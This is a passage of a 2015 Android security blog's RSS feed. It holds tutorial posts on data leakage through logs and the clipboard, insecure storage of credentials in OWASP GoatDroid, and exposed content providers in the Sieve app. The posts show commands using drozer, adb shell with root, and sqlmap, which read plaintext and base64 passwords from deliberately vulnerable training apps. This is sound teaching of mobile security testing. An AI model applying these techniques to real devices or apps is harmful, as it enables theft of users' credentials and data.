&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg3mQVK3sC4erHUnIBHDgxBEylLWkbwhyfQsKSC4L2YSNlaVwZnUNG8EiUKrBw9kzAgNiCbVkCsc085zvmn4EJxiKKXpQ6-Jh6rIjHO3Z4ZOvdoioi9ltQ3rk_jdLqI9LC5hm5Kd5p/s1600/Screenshot_2015-07-29-09-59-44.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg3mQVK3sC4erHUnIBHDgxBEylLWkbwhyfQsKSC4L2YSNlaVwZnUNG8EiUKrBw9kzAgNiCbVkCsc085zvmn4EJxiKKXpQ6-Jh6rIjHO3Z4ZOvdoioi9ltQ3rk_jdLqI9LC5hm5Kd5p/s320/Screenshot_2015-07-29-09-59-44.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Once you hit the transfer button, the accounts and logs will show up on PID Cat. Again this could be read by other applications.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzcrNrwBeR4tuLbI8Rm15t-SjGqEyu0tkpKw8gb9xQOKlF3UXLp7Dxo6tRxym7hMXDN_YkyAirIZpv27a3LXB2X8k4AH-ElmpnG3KHrhrNxqDBoOYEJUIXyUxYC7A-prpXPex62THf/s1600/transfer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;98&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzcrNrwBeR4tuLbI8Rm15t-SjGqEyu0tkpKw8gb9xQOKlF3UXLp7Dxo6tRxym7hMXDN_YkyAirIZpv27a3LXB2X8k4AH-ElmpnG3KHrhrNxqDBoOYEJUIXyUxYC7A-prpXPex62THf/s400/transfer.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Logging is an essential feature during development but can inadvertently expose sensitive information. Although it seems trivial, it can lead to serious risk depending on the data that is leaked.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Clipboard Leakage&lt;/h3&gt;
&lt;div&gt;
Another area were sensitive data leakage can occur is from the clipboard. Users tend to copy/paste quite a lot on mobile devices as its easier than typing. If the application allows for the copy/paste of sensitive information from one app to another then it is possible that a malicious application could read it also.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
If you take the example below from Insecure Bank, the user can copy out transfer statement information.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAuA1HaVqkJT9EkYs-XqqABgK2zb6HWFm5KG7F2x_kUmXKHhuDqAjZuj4-HPMNnHnarqxkDwL2SD0IeWf_VVjSv_ddk51X4OTpaMsZuDQ1Iij-ZUWUO1HHkWHXsu_CbXO-da-n-7KS/s1600/Screenshot_2015-07-29-11-28-13.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAuA1HaVqkJT9EkYs-XqqABgK2zb6HWFm5KG7F2x_kUmXKHhuDqAjZuj4-HPMNnHnarqxkDwL2SD0IeWf_VVjSv_ddk51X4OTpaMsZuDQ1Iij-ZUWUO1HHkWHXsu_CbXO-da-n-7KS/s320/Screenshot_2015-07-29-11-28-13.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We can then use the post-exploitation module in drozer to read the clipboard. To install this module type &#39;module install clipboard&#39;. Then run the command below&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP47ZQEVlaZ4NrW_nlxzxQ_5PeAepwbmxN3e6V5Al_w5MmLwWXsXeAC2zmUZzrp_rJzl7OuMqWTwMQxan9o2HTNf70tr86xlOteX03pdfxM2pyb8RI0YCJfXv4S72VukvAYekDtJIh/s1600/clipboard1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;32&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP47ZQEVlaZ4NrW_nlxzxQ_5PeAepwbmxN3e6V5Al_w5MmLwWXsXeAC2zmUZzrp_rJzl7OuMqWTwMQxan9o2HTNf70tr86xlOteX03pdfxM2pyb8RI0YCJfXv4S72VukvAYekDtJIh/s400/clipboard1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
References: https://www.owasp.org/index.php/Mobile_Top_10_2014-M4&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; https://github.com/dineshshetty/Android-InsecureBankv2&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; https://manifestsecurity.com/appie/</description><link>http://thehackpot.blogspot.com/2015/07/android-unintended-data-leakage.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMJt4-NG2L-yXdAoRz0R89JbayFBjiWAaB8WMYHnJSqbBkhdFRMLcr7JwvVzOvLZRwooo26eNw-HuQIIM1vhnPXBPBZ3Cww-Ga2-oHQds-SBKmiEUi1LHihQ8ELwgXGax69vKyJuUC/s72-c/Screenshot_2015-07-29-09-58-16.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-7628502454055968125</guid><pubDate>Tue, 28 Jul 2015 12:12:00 +0000</pubDate><atom:updated>2015-07-28T13:12:48.351+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Goat Droid</category><category domain="http://www.blogger.com/atom/ns#">Mobile</category><category domain="http://www.blogger.com/atom/ns#">OWASP</category><title>Android Insecure Data Storage </title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Insecure Data Storage&lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;One of the biggest concerns for mobile device and application is loss or theft. If a &amp;nbsp;malicious user obtains a device then it is possible to explore the filesystem and data storage mechanisms.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
For this tutorial we will use &lt;a href=&quot;https://manifestsecurity.com/appie/&quot; target=&quot;_blank&quot;&gt;Appie&lt;/a&gt;&amp;nbsp;and the &lt;a href=&quot;https://www.owasp.org/index.php/Projects/OWASP_GoatDroid_Project&quot; target=&quot;_blank&quot;&gt;GoatDroid Project&lt;/a&gt;. You can install the apk file on your device or emulator. To start the app using Appie simply type &#39;goatdroid&#39;.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwfp03_wBdWAVIYGs5zjCz1inj6Ed-29U1i34e2nST26NW0mwErGfwOVv00VI2kvuFJyKW_sheLIXmqMxJR8Ji0uuYhNPnaz_f0DTPpvDU_LBvJKyF7jeOtT7ReWvV1hGHEgVvoQ9H/s1600/goatdroid.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwfp03_wBdWAVIYGs5zjCz1inj6Ed-29U1i34e2nST26NW0mwErGfwOVv00VI2kvuFJyKW_sheLIXmqMxJR8Ji0uuYhNPnaz_f0DTPpvDU_LBvJKyF7jeOtT7ReWvV1hGHEgVvoQ9H/s1600/goatdroid.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The GoatDroid interface should open up, you can select either of the two apps on the left hand-side, for this tutorial we will use Four Goats. In the main pane select &#39;start web service&#39;.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzYwFe5sRbdluxQ4G0w-4nbkfCaVBdLBMWNDS816tNv0cEF9mtJwIIFn0NRjg9c5xrDdMY2A5IGaqN5_wg7Hr3dsZGxZ6RBXh8PEDrH4jDnDwMuR_-PHQnIXc48e3DYOmcJHfY9KA-/s1600/fourgoats.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzYwFe5sRbdluxQ4G0w-4nbkfCaVBdLBMWNDS816tNv0cEF9mtJwIIFn0NRjg9c5xrDdMY2A5IGaqN5_wg7Hr3dsZGxZ6RBXh8PEDrH4jDnDwMuR_-PHQnIXc48e3DYOmcJHfY9KA-/s320/fourgoats.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Run the ipconfig command on your Appie instance to identify the IP address of your local machine.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZCXUnOZrY_IfQia2Tpr-WHT72ri2DMd90eiPxoGNmwIiwre6AtC42oVosTndqh3qa2XA1_wwvlPt130KTQTJNVVw_2t336SJeIkmzMdxQKnXF-Fk7XcAQ8DWRsQkcgkv50qT-tI8Y/s1600/ipconfig.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;127&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZCXUnOZrY_IfQia2Tpr-WHT72ri2DMd90eiPxoGNmwIiwre6AtC42oVosTndqh3qa2XA1_wwvlPt130KTQTJNVVw_2t336SJeIkmzMdxQKnXF-Fk7XcAQ8DWRsQkcgkv50qT-tI8Y/s320/ipconfig.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Open up the Four Goats application on the device or emulator. Select &#39;Destination Info&#39; from the dropdown menu, on this page enter the IP address of your local machine, the default port can remain the same.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfQ9JPJBUWqihGg1ywqG6NnAZLS_Gs6B4b6lcPNQ2YDEFg9-VIqmoyww-WQU0IvsMiAzi0ixrHAgu9Ft6LQxwbtavpDCs9vFHmE7D3dLuAlFHW0Oz3X6ndUok8oAKLTcjib-BMDgGj/s1600/Screenshot_2015-07-28-10-20-54.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfQ9JPJBUWqihGg1ywqG6NnAZLS_Gs6B4b6lcPNQ2YDEFg9-VIqmoyww-WQU0IvsMiAzi0ixrHAgu9Ft6LQxwbtavpDCs9vFHmE7D3dLuAlFHW0Oz3X6ndUok8oAKLTcjib-BMDgGj/s320/Screenshot_2015-07-28-10-20-54.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
You should now be able to login to the Four Goats application with goatdroid/goatdroid.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq1LrKMGdLcGEYsbKIqh6u6j0H76Z50d9D2cWVgMxHXkFdgKrIbSuDxnwdJPOZvDoRFQrQJJSmNAL25aM55DbVnBfaUjlg9z14IGuO6yMY8UAQu9yqtTiKHxIFIv4c3h7zohr_kLzu/s1600/Screenshot_2015-07-28-10-21-11.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq1LrKMGdLcGEYsbKIqh6u6j0H76Z50d9D2cWVgMxHXkFdgKrIbSuDxnwdJPOZvDoRFQrQJJSmNAL25aM55DbVnBfaUjlg9z14IGuO6yMY8UAQu9yqtTiKHxIFIv4c3h7zohr_kLzu/s320/Screenshot_2015-07-28-10-21-11.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
If successful you will see a page similar to below.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH9xLQGmxQPqW-DW2qTmDDJ9IpXWCg1MbMRyUUUWwbv_dUHFteQ_W1bQ8Jc7k9s1M95goc5YXW8nTdQ3H-UCpLpOa3WeNvl2AOib5mj8AtOi472TwkkJBNLVMX8sRjqHsXvc25U4SO/s1600/Screenshot_2015-07-28-10-23-06.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH9xLQGmxQPqW-DW2qTmDDJ9IpXWCg1MbMRyUUUWwbv_dUHFteQ_W1bQ8Jc7k9s1M95goc5YXW8nTdQ3H-UCpLpOa3WeNvl2AOib5mj8AtOi472TwkkJBNLVMX8sRjqHsXvc25U4SO/s320/Screenshot_2015-07-28-10-23-06.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
In Android application data resides in the /data/data folder. In order to access this folder type &#39;adb shell&#39; in the Appie command prompt, then SU to get root privilege. Then type &#39;cd /data/data&#39; to get to the folder, you will see a list of packages.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUzUU-D0bCNASwmdpwmXP4lAJmwlylvVDMYIOTPptw_rPSVh5r4VlPtqKiK9XKc0LumBYWjjLXRoOS8QKb9_au0yMrsMuS9cglJH9lI77mW4WSGCZShlMAcObjLFbJc3HNsjVQOMT_/s1600/dataData.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUzUU-D0bCNASwmdpwmXP4lAJmwlylvVDMYIOTPptw_rPSVh5r4VlPtqKiK9XKc0LumBYWjjLXRoOS8QKb9_au0yMrsMuS9cglJH9lI77mW4WSGCZShlMAcObjLFbJc3HNsjVQOMT_/s1600/dataData.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Locate the Four Goats package - &amp;nbsp;org.owasp.goatdroid.fourgoats&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrMKiI0Y68T6HzOcRFvFfkElWwA_TdR5crEbzJVIpPnbtt8_oBZENFNi1VSo4UKy5Npc98gdwa44LE0zK-TRY3YfO0OL5GqBSzPxhP5HE6zV74ctJc4Ob-tY8NXO7GG3Zg7YMqfD6w/s1600/appContents.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;68&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrMKiI0Y68T6HzOcRFvFfkElWwA_TdR5crEbzJVIpPnbtt8_oBZENFNi1VSo4UKy5Npc98gdwa44LE0zK-TRY3YfO0OL5GqBSzPxhP5HE6zV74ctJc4Ob-tY8NXO7GG3Zg7YMqfD6w/s320/appContents.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
Navigate to the shared_prefs folder, you will see a number of files. An obviously interesting file is credentials.xml, use the cat command to view the contents. You can see that the username-password pair is stored unencrypted in this file.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjgNsVZpMPJkm9z98HLYgZLgKj36d4h3VqBd46242oiNLal7bnzHpjnB8U8yS6-U6IqcRlpkKbdicoIscq7qeNgIXoRTGONyiaQ2ThtBHU04dMjDXzR_x2EQxKy53WHuXXwrRsWFBX/s1600/credentials.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;107&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjgNsVZpMPJkm9z98HLYgZLgKj36d4h3VqBd46242oiNLal7bnzHpjnB8U8yS6-U6IqcRlpkKbdicoIscq7qeNgIXoRTGONyiaQ2ThtBHU04dMjDXzR_x2EQxKy53WHuXXwrRsWFBX/s320/credentials.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Android Best Practices - &lt;a href=&quot;https://www.owasp.org/index.php/Mobile_Top_10_2014-M2&quot; target=&quot;_blank&quot;&gt;OWASP&lt;/a&gt;&amp;nbsp;&lt;/h3&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;For local storage the enterprise android device administration API can be used to force encryption to local file-stores using “setStorageEncryption”&lt;/li&gt;
&lt;li&gt;For SD Card Storage some security can be achieved via the ‘javax.crypto’ library. You have a few options, but an easy one is simply to encrypt any plain text data with a master password and AES 128.&lt;/li&gt;
&lt;li&gt;Ensure any shared preferences properties are NOT MODE_WORLD_READABLE unless explicitly required for information sharing between apps.&lt;/li&gt;
&lt;li&gt;Avoid exclusively relying upon hardcoded encryption or decryption keys when storing sensitive information assets.&lt;/li&gt;
&lt;li&gt;Consider providing an additional layer of encryption beyond any default encryption mechanisms provided by the operating system.&lt;/li&gt;
&lt;/ul&gt;
</description><link>http://thehackpot.blogspot.com/2015/07/android-insecure-data-storage.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwfp03_wBdWAVIYGs5zjCz1inj6Ed-29U1i34e2nST26NW0mwErGfwOVv00VI2kvuFJyKW_sheLIXmqMxJR8Ji0uuYhNPnaz_f0DTPpvDU_LBvJKyF7jeOtT7ReWvV1hGHEgVvoQ9H/s72-c/goatdroid.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-3985019949244907704</guid><pubDate>Mon, 27 Jul 2015 12:55:00 +0000</pubDate><atom:updated>2015-07-27T14:11:44.773+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Drozer</category><title>Android Hacking -  Insecure Content Providers</title><description>&lt;h3&gt;
Content Providers&lt;/h3&gt;
In this post we will look at an example of an insecure content provider in the Sieve application. Content Providers act as an interface for sharing data between applications. Each content provider has a URI that begins with &lt;b&gt;content://&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This allows other applications that the know the URI to perform functions on the data such as insert(), query(), update() or delete(). If the content provider permission is not set correctly in the manifest.xml file then it can lead to sensitive data leakage.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Analyzing Insecure Content Providers&lt;/h3&gt;
As we have seen in the previous post, the Sieve application&amp;nbsp; has 2 content providers exported.&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfrclhyXE1ZlKMoCcwUTSm9uI1XmJZKR4H25e6fw5cbLkSj5wsTyQUm0uxB7XycM1gqcuXT9cLSYVmOdIbMeOjRl0rSM0xMqBxgi6VO-W3wBn3jqohe8zu6xUaymn5jAYUHuOfHxAg/s1600/attacksurface.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;81&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfrclhyXE1ZlKMoCcwUTSm9uI1XmJZKR4H25e6fw5cbLkSj5wsTyQUm0uxB7XycM1gqcuXT9cLSYVmOdIbMeOjRl0rSM0xMqBxgi6VO-W3wBn3jqohe8zu6xUaymn5jAYUHuOfHxAg/s320/attacksurface.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
We can run the app.provider.info -a command on the Sieve application to retrieve further information. The output reveals that there are two content providers DBContentProvider and FileBackupProvider that do not have any permissions assigned for read/write access. However it does reveal that the DBContentProvider/Keys path requires permissions to read/write.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglUgZuPM7YQxPx7oNQmMRqCsuPZtlrPrSt9_EF5ASoxSH1Z-pNLLGtga9VuYrqzGorhEX_0JCi3dFA15wQMhzntGQ2JhxrZ5gRHS5C2hAvW7RShdgcbrow7Tvicf1wJd_sTsnlAYsI/s1600/content1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;188&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglUgZuPM7YQxPx7oNQmMRqCsuPZtlrPrSt9_EF5ASoxSH1Z-pNLLGtga9VuYrqzGorhEX_0JCi3dFA15wQMhzntGQ2JhxrZ5gRHS5C2hAvW7RShdgcbrow7Tvicf1wJd_sTsnlAYsI/s320/content1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Another method for returning content:// URIs is the finduri module. This can reveal other sensitive paths, in the screenshot below you can see a /Passwords path.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLjd4JCq3Mpj8mTZqiJqgletFBDv5GrQRETLRKVJEbxNrRCjuI6Dzgjuf7p0YwL0eFxYdbRZONfofVmVwKmSXJ_8SGiordGbC7PO70RRTPwHqRdpOuutYFgHBsf1nJ1t898Md8clR-/s1600/content2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;102&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLjd4JCq3Mpj8mTZqiJqgletFBDv5GrQRETLRKVJEbxNrRCjuI6Dzgjuf7p0YwL0eFxYdbRZONfofVmVwKmSXJ_8SGiordGbC7PO70RRTPwHqRdpOuutYFgHBsf1nJ1t898Md8clR-/s320/content2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
If we try to query it using app.provider.query it returns a password table containing sensitive information including passwords in base64.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtZqDIB46LAqo5o5rCw-77YJBEYNzZJSXcMfF2wMLbuyIV5zdU4cobtfmFVULiKCe6E5lk0eoy44llt5lhf-BJ2ADG1FBj9UOK25e2t6asawqyOFl3z_PYkRsQ1A7J3LT7jJDfjVTA/s1600/dumpdrozer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;85&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtZqDIB46LAqo5o5rCw-77YJBEYNzZJSXcMfF2wMLbuyIV5zdU4cobtfmFVULiKCe6E5lk0eoy44llt5lhf-BJ2ADG1FBj9UOK25e2t6asawqyOFl3z_PYkRsQ1A7J3LT7jJDfjVTA/s320/dumpdrozer.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This is a good example of how unprotected content providers can reveal sensitive information.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
SQL Injection Issues&amp;nbsp;&lt;/h3&gt;
Another associated insecurity with content providers is SQL Injection. Content providers are commonly connected to SQLite databases. Therefore if the data has not been suitably sanitized then SQL commands can be injected in order to return information.&lt;br /&gt;
&lt;br /&gt;
There are a number of ways of identifying and exploiting SQLi using Drozer. You can manually inject SQL queries via the app.provider.query or by scanner.provider.injection modules.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use existing tools in conjunction with Drozer modules. In the example below we will use auxiliary.webcontentresolver - this module offers a web service interface to all installed content providers. This then allows us to use sqlmap to exploit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Drozer and SQLmap &lt;/h3&gt;
The first thing to do is start the module and select a specified port.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
